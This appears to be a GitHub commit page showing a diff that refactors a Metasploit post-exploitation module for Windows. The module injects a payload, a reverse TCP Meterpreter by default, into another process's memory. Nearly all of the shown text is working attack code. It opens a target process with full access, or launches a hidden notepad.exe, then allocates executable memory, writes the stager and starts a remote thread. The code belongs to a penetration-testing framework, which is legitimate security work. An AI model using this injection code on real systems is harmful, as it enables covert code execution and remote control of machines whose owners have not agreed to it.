Skip to content

Commit 22f7619

Browse files
committed
Improve Carlos' payload injection module - See rapid7#1201
Lots of changes, mainly: * Description update * Avoid accessing protected methods * More careful exception & return value handling
1 parent e93b7ff commit 22f7619

File tree

1 file changed

+70
-45
lines changed

1 file changed

+70
-45
lines changed

modules/exploits/windows/local/payload_inject.rb

Lines changed: 70 additions & 45 deletions
Original file line numberDiff line numberDiff line change
@@ -16,9 +16,9 @@ def initialize(info={})
1616
super( update_info( info,
1717
'Name' => 'Windows Manage Memory Payload Injection Module',
1818
'Description' => %q{
19-
This module will inject into the memory of a process a specified windows payload.
20-
If a payload or process is not provided one will be created by default
21-
using a reverse x86 TCP Meterpreter Payload.
19+
This module will inject a payload into memory of a process. If a payload
20+
isn't selected, then it'll default to a reverse x86 TCP meterpreter. If the PID
21+
datastore option isn't specified, then it'll inject into notepad.exe instead.
2222
},
2323
'License' => MSF_LICENSE,
2424
'Author' =>
@@ -34,44 +34,58 @@ def initialize(info={})
3434

3535
register_options(
3636
[
37-
OptInt.new('PID',
38-
[false, 'Process Identifier to inject of process to inject payload.'])
37+
OptInt.new('PID', [false, 'Process Identifier to inject of process to inject payload.']),
38+
OptBool.new('NEWPROCESS', [false, 'New notepad.exe to inject to', false])
3939
], self.class)
4040
end
4141

4242
# Run Method for when run command is issued
4343
def exploit
44+
@payload_name = datastore['PAYLOAD']
45+
@payload_arch = framework.payloads.create(@payload_name).arch
46+
4447
# syinfo is only on meterpreter sessions
4548
print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil?
4649

47-
pid = datastore['PID']
48-
49-
if pid == 0
50-
pid = create_temp_proc()
50+
pid = get_pid
51+
if not pid
52+
print_error("Unable to get a proper PID")
53+
return
5154
end
5255

53-
if payload.send(:pinst).arch.first =~ /64/ and client.platform =~ /x86/
56+
if @payload_arch.first =~ /64/ and client.platform =~ /x86/
5457
print_error("You are trying to inject to a x64 process from a x86 version of Meterpreter.")
5558
print_error("Migrate to an x64 process and try again.")
5659
return false
5760
else
58-
inject_into_pid(pid,datastore['NEWPROCESS'])
61+
inject_into_pid(pid)
5962
end
6063
end
6164

65+
# Figures out which PID to inject to
66+
def get_pid
67+
pid = datastore['PID']
68+
if pid == 0 or datastore['NEWPROCESS']
69+
print_status("Launching notepad.exe...")
70+
pid = create_temp_proc
71+
end
72+
73+
return pid
74+
end
75+
6276
# Checks the Architeture of a Payload and PID are compatible
6377
# Returns true if they are false if they are not
6478
def arch_check(pid)
6579
# get the pid arch
6680
client.sys.process.processes.each do |p|
6781
# Check Payload Arch
6882
if pid == p["pid"]
69-
print_status("Process found checking Architecture")
70-
if payload.send(:pinst).arch.first == p['arch']
71-
print_good("Process is the same architecture as the payload")
83+
vprint_status("Process found checking Architecture")
84+
if @payload_arch.first == p['arch']
85+
vprint_good("Process is the same architecture as the payload")
7286
return true
7387
else
74-
print_error("The PID #{ p['arch']} and Payload #{payload.send(:pinst).arch.first} architectures are different.")
88+
print_error("The PID #{ p['arch']} and Payload #{@payload_arch.first} architectures are different.")
7589
return false
7690
end
7791
end
@@ -83,45 +97,56 @@ def arch_check(pid)
8397
def create_temp_proc()
8498
windir = client.fs.file.expand_path("%windir%")
8599
# Select path of executable to run depending the architecture
86-
if payload.send(:pinst).arch.first== "x86" and client.platform =~ /x86/
100+
if @payload_arch.first== "x86" and client.platform =~ /x86/
87101
cmd = "#{windir}\\System32\\notepad.exe"
88-
elsif payload.send(:pinst).arch.first == "x86_64" and client.platform =~ /x64/
102+
elsif @payload_arch.first == "x86_64" and client.platform =~ /x64/
89103
cmd = "#{windir}\\System32\\notepad.exe"
90-
elsif payload.send(:pinst).arch.first == "x86_64" and client.platform =~ /x86/
104+
elsif @payload_arch.first == "x86_64" and client.platform =~ /x86/
91105
cmd = "#{windir}\\Sysnative\\notepad.exe"
92-
elsif payload.send(:pinst).arch.first == "x86" and client.platform =~ /x64/
106+
elsif @payload_arch.first == "x86" and client.platform =~ /x64/
93107
cmd = "#{windir}\\SysWOW64\\notepad.exe"
94108
end
95-
# run hidden
96-
proc = client.sys.process.execute(cmd, nil, {'Hidden' => true })
109+
110+
begin
111+
proc = client.sys.process.execute(cmd, nil, {'Hidden' => true })
112+
rescue Rex::Post::Meterpreter::RequestError
113+
return nil
114+
end
115+
97116
return proc.pid
98117
end
99118

100-
def inject_into_pid(pid,newproc)
101-
print_status("Performing Architecture Check")
102-
# If architecture check fails and a new process is wished to inject to one with the proper arch
103-
# will be created
104-
if arch_check(pid)
105-
pid = create_temp_proc() if newproc
106-
print_status("Injecting #{payload.send(:pinst).name} into process ID #{pid}")
107-
begin
108-
print_status("Opening process #{pid}")
109-
host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
110-
print_status("Generating payload")
111-
raw = payload.generate
112-
print_status("Allocating memory in procees #{pid}")
113-
mem = host_process.memory.allocate(raw.length + (raw.length % 1024))
114-
# Ensure memory is set for execution
115-
host_process.memory.protect(mem)
116-
print_status("Allocated memory at address #{"0x%.8x" % mem}, for #{raw.length} byte stager")
117-
print_status("Writing the stager into memory...")
118-
host_process.memory.write(mem, raw)
119-
host_process.thread.create(mem, 0)
120-
print_good("Successfully injected payload in to process: #{pid}")
121-
rescue ::Exception => e
122-
print_error("Failed to Inject Payload to #{pid}!")
123-
print_error(e.to_s)
119+
def inject_into_pid(pid)
120+
vprint_status("Performing Architecture Check")
121+
return if not arch_check(pid)
122+
123+
begin
124+
print_status("Preparing '#{@payload_name}' for PID #{pid}")
125+
raw = payload.generate
126+
127+
print_status("Opening process #{pid.to_s}")
128+
host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
129+
if not host_process
130+
print_error("Unable to open #{pid.to_s}")
131+
return
124132
end
133+
134+
print_status("Allocating memory in procees #{pid}")
135+
mem = host_process.memory.allocate(raw.length + (raw.length % 1024))
136+
137+
# Ensure memory is set for execution
138+
host_process.memory.protect(mem)
139+
140+
print_status("Allocated memory at address #{"0x%.8x" % mem}, for #{raw.length} byte stager")
141+
print_status("Writing the stager into memory...")
142+
host_process.memory.write(mem, raw)
143+
host_process.thread.create(mem, 0)
144+
print_good("Successfully injected payload in to process: #{pid}")
145+
146+
rescue Rex::Post::Meterpreter::RequestError => e
147+
print_error("Unable to inject payload:")
148+
print_line(e.to_s)
125149
end
126150
end
151+
127152
end

0 commit comments

Comments
 (0)